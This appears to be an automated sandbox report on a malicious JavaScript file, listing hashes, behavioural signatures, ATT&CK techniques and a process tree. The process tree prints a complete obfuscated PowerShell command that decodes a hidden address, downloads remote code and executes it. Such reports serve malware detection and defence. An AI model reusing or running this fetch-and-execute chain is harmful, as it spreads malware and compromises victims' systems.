f1825dced6dee0844ed8a377a0b9033c00fbf8d894eed28d546ebae43e4656f4

Analysis

max time kernel
94s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:11

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General

Target

3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js
Size

185KB
MD5

64df0989b1354b9bd93f935cbfbeb804
SHA1

d9412f52a7af1314134d00e10037bad59e62ca18
SHA256

3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928
SHA512

946a4d3ce0773803e833b6c1e4b9e6eaa92997b2b39b820a931da3b34a2d46080723b1f5804abf75facc1b0816f46db0e07b04128515e6f7d60837414c230ad4
SSDEEP

1536:nwSvdihKBuiqSwHIzrs02muskkZhHD66pKBuiqSwHIps02muskkZhHD66gs02mu2:nHSlHSmI6ylHKmI6nmI6blH/lHi

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4200	4776	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1484	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 1484	4200	conhost.exe	85
PID 4200 wrote to memory of 1484	4200	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3ad488717257a4201065b4c18336d175f95939466ab056eb7cfbc35136a9a928.js
1⤵
PID:4156

C:\Windows\system32\conhost.exe
conhost --headless powershell $pqeavyzshknxgf='ur' ;new-alias printout c$($pqeavyzshknxgf)l;$lxbhyeozawqr=(6375,6386,6394,6378,6380,6375,6395,6394,6399,6332,6394,6328,6375,6323,6393,6388,6389,6324,6326,6323,6389,6381,6389,6340,6392,6338,6386,6382,6387,6393,6392,6327,6326);$vripyktbzghx=('bronx','get-cmdlet');$czklpbo=$lxbhyeozawqr;foreach($vmztde in $czklpbo){$tiredwpzvsh=$vmztde;$leosrufpxz=$leosrufpxz+[char]($tiredwpzvsh-6277);$qrjenblms=$leosrufpxz; $dmzguypjhbv=$qrjenblms};$qimgscuadvrtn[2]=$dmzguypjhbv;$xsypawucfjz='rl';$tvkwnxrqemfdyl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmzguypjhbv)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $pqeavyzshknxgf='ur' ;new-alias printout c$($pqeavyzshknxgf)l;$lxbhyeozawqr=(6375,6386,6394,6378,6380,6375,6395,6394,6399,6332,6394,6328,6375,6323,6393,6388,6389,6324,6326,6323,6389,6381,6389,6340,6392,6338,6386,6382,6387,6393,6392,6327,6326);$vripyktbzghx=('bronx','get-cmdlet');$czklpbo=$lxbhyeozawqr;foreach($vmztde in $czklpbo){$tiredwpzvsh=$vmztde;$leosrufpxz=$leosrufpxz+[char]($tiredwpzvsh-6277);$qrjenblms=$leosrufpxz; $dmzguypjhbv=$qrjenblms};$qimgscuadvrtn[2]=$dmzguypjhbv;$xsypawucfjz='rl';$tvkwnxrqemfdyl=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmzguypjhbv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qnmzphh.dde.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1484-0-0x00007FFC7BC93000-0x00007FFC7BC95000-memory.dmp

Filesize
8KB

Download
memory/1484-3-0x00000152D5270000-0x00000152D5292000-memory.dmp

Filesize
136KB

Download
memory/1484-11-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/1484-12-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/1484-13-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/1484-14-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/1484-15-0x00007FFC7BC93000-0x00007FFC7BC95000-memory.dmp

Filesize
8KB

Download
memory/1484-16-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/1484-19-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download